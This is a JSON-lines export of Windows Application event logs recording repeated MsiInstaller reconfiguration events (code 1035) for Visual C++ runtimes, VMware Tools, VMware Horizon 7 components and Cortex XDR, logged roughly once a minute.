{"@timestamp":1657396750213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170605}}
{"@timestamp":1657396750264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170606}}
{"@timestamp":1657396750306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170607}}
{"@timestamp":1657396750335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170608}}
{"@timestamp":1657396750368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170609}}
{"@timestamp":1657396750395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170610}}
{"@timestamp":1657396750423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170611}}
{"@timestamp":1657396750459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170612}}
{"@timestamp":1657396750488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170613}}
{"@timestamp":1657396810116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170614}}
{"@timestamp":1657396810144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170615}}
{"@timestamp":1657396810194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170616}}
{"@timestamp":1657396810233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170617}}
{"@timestamp":1657396810261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170618}}
{"@timestamp":1657396810292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170619}}
{"@timestamp":1657396810319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170620}}
{"@timestamp":1657396810345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170621}}
{"@timestamp":1657396810381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170622}}
{"@timestamp":1657396810409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170623}}
{"@timestamp":1657396870778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170624}}
{"@timestamp":1657396870807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170625}}
{"@timestamp":1657396870860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170626}}
{"@timestamp":1657396870898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170627}}
{"@timestamp":1657396870927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170628}}
{"@timestamp":1657396870957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170629}}
{"@timestamp":1657396870984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170630}}
{"@timestamp":1657396871011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170631}}
{"@timestamp":1657396871048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170632}}
{"@timestamp":1657396871075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170633}}
{"@timestamp":1657396930263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170634}}
{"@timestamp":1657396930290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170635}}
{"@timestamp":1657396930340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170636}}
{"@timestamp":1657396930380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170637}}
{"@timestamp":1657396930410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170638}}
{"@timestamp":1657396930441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170639}}
{"@timestamp":1657396930469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170640}}
{"@timestamp":1657396930496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170641}}
{"@timestamp":1657396930533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170642}}
{"@timestamp":1657396930561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170643}}
{"@timestamp":1657396990142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170644}}
{"@timestamp":1657396990168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170645}}
{"@timestamp":1657396990220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170646}}
{"@timestamp":1657396990261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170647}}
{"@timestamp":1657396990290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170648}}
{"@timestamp":1657396990321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170649}}
{"@timestamp":1657396990348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170650}}
{"@timestamp":1657396990375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170651}}
{"@timestamp":1657396990413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170652}}
{"@timestamp":1657396990441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170653}}
{"@timestamp":1657397050092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170654}}
{"@timestamp":1657397050117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170655}}
{"@timestamp":1657397050166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170656}}
{"@timestamp":1657397050205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170657}}
{"@timestamp":1657397050233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170658}}
{"@timestamp":1657397050263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170659}}
{"@timestamp":1657397050291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170660}}
{"@timestamp":1657397050318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170661}}
{"@timestamp":1657397050355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170662}}
{"@timestamp":1657397050382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170663}}
{"@timestamp":1657397110223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170664}}
{"@timestamp":1657397110250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170665}}
{"@timestamp":1657397110300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170666}}
{"@timestamp":1657397110340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170667}}
{"@timestamp":1657397110368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170668}}
{"@timestamp":1657397110399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170669}}
{"@timestamp":1657397110425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170670}}
